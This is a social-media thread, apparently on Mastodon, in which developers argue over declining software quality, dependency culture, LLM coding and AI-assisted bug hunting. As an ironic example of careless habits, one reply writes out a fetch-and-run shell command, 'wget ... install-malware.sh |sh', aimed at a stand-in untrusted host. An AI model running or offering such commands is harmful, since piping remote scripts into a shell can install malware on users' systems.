Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert You are not wrong, in many ways, this is a natural result of the "race to the bottom" that software has been put on by the "move fast and break things" mentality it got from Silicon Valley.
That said, this accelerates it in such a way, that I have the feeling that we might finally hit rock bottom.
Also, I wish more people acknowledged the ethical hell that LLMs represent in code, but I guess not enough people in software care about ethics for that to really make a difference.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert I think (internet) speed and "unlimited" storage have been a major factor of code quality.
You don't get punished (enough) for writing wet or sub-optimal code.
Reminiscing about the days when entire games and software packages fit on a floppy disk. And when we made websites under 20KB (including images). -
Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert @bagder @hyc @vitaut I would be tempted to read it
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@bert_hubert I think (internet) speed and "unlimited" storage have been a major factor of code quality.
You don't get punished (enough) for writing wet or sub-optimal code.
Reminiscing about the days when entire games and software packages fit on a floppy disk. And when we made websites under 20KB (including images).@regularlabs @bert_hubert Exactly! Developers should develop on/for 10 year old hardware. If it doesn't run smootly, it is badly written or bloated.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
Tired: LLMs for ‘vibe coding’
Wired: AI for zero day hunting ?Wouldn’t mind the as-yet-virtual post to touch that. Testing is software engineering too, and ripe for more automation
Anthropic Claude Opus AI model discovers 22 Firefox bugs
Anthropic used Claude Opus 4.6 to identify 22 Firefox flaws, most of which were high severity, all of which were fixed in Firefox 148.
Security Affairs (securityaffairs.com)
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert do it.
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@bert_hubert You are not wrong, in many ways, this is a natural result of the "race to the bottom" that software has been put on by the "move fast and break things" mentality it got from Silicon Valley.
That said, this accelerates it in such a way, that I have the feeling that we might finally hit rock bottom.
Also, I wish more people acknowledged the ethical hell that LLMs represent in code, but I guess not enough people in software care about ethics for that to really make a difference.
I feel like taking refuge in hitting rock bottom is the modern equivalent of imaging that the apocalypse is imminent so there's no point in trying to fix things (which I think is why armageddonism is so popular).
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert @bagder @hyc @vitaut
When I started the Varnish Cache project, I explicitly tried to dial code quality up to 11, as an experiment to see if that was a feasible strategy.
With less than 20 CVE's in 20 years, I think we have given existence proof that "artisan code" is a valid way to produce high-consequence software (see also: sqlite)
But at the same time, we are very far from "install and forget" when you have to patch once a year.
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@bert_hubert Dunno. We complained about poorly flung together software back in the nineties. There might be more of it now, but there also is much much more software now.
Similarly, people complain that they can’t find a plumber who cares. Maybe software is just a regular craft now?
Did we have npm in the nineties? I think that's an example of what Bert is pointing to. We were certainly moving in that direction, but the days of "wget http://www.trustme.org/install-malware.sh |sh" hadn't really come yet.
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I feel like taking refuge in hitting rock bottom is the modern equivalent of imaging that the apocalypse is imminent so there's no point in trying to fix things (which I think is why armageddonism is so popular).
@abhayakara @bert_hubert Fair, although that is not my intention, I am fighting it, and trying to fix things, but that doesn't stop me from acknowledging that it feels more than a little quixotic.
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@bert_hubert @bagder @hyc @vitaut
When I started the Varnish Cache project, I explicitly tried to dial code quality up to 11, as an experiment to see if that was a feasible strategy.
With less than 20 CVE's in 20 years, I think we have given existence proof that "artisan code" is a valid way to produce high-consequence software (see also: sqlite)
But at the same time, we are very far from "install and forget" when you have to patch once a year.
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@abhayakara @bert_hubert Fair, although that is not my intention, I am fighting it, and trying to fix things, but that doesn't stop me from acknowledging that it feels more than a little quixotic.
I hear you. I guess I'm arguing that imagining that this work is quixotic is unnecessarily self-deprecating. This work is essential. It's just that not everybody understands that yet. The future is here now, just not evenly distributed.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert it rhymes with flooding the zone with shit. Billionaires win if users and product owners would stop expecting quality, because then there's no longer a point in becoming a good dev. In Silicon Valley they gave those folks at least a sense of ownership and pride. But now that is threatening their businesses. Because high performers can leave if they don't agree with the company politics. If poor quality is the norm, they can hire poor, mediocre devs who won't complain instead.
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Did we have npm in the nineties? I think that's an example of what Bert is pointing to. We were certainly moving in that direction, but the days of "wget http://www.trustme.org/install-malware.sh |sh" hadn't really come yet.
@abhayakara @bert_hubert But then, the early oughts were the heyday of email viruses and people slapping together snippets of PHP they found on the Internet without understanding what they did.
The groundwork for OpenSSL becoming somewhat problematic was laid during that time as well.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert I can summarize the post and point the finger at the responsible party in one sentence: middle management ruined software development.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert @bagder @hyc @vitaut I mean yes but mostly because the outcome don't matters...
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
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@bert_hubert @bagder @hyc @vitaut I mean yes but mostly because the outcome don't matters...
@Di4na @bert_hubert @bagder @vitaut if the outcome truly doesn't matter then it's probably software that didn't need to be written in the first place.
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@Di4na @bert_hubert @bagder @vitaut if the outcome truly doesn't matter then it's probably software that didn't need to be written in the first place.
@hyc @bert_hubert @bagder @vitaut well depend. For the user yes.
For the people being paid and having to provide a plausible lies to investors to keep being paid, no.
Value judgement are rarely that absolute. Do i think we would be better off with a world in which we don't end up needing so much plausible lies as the main way to pay software devs? Yes
But the (inefficient) byproduct is a lot of paid software devs doing FOSS so...
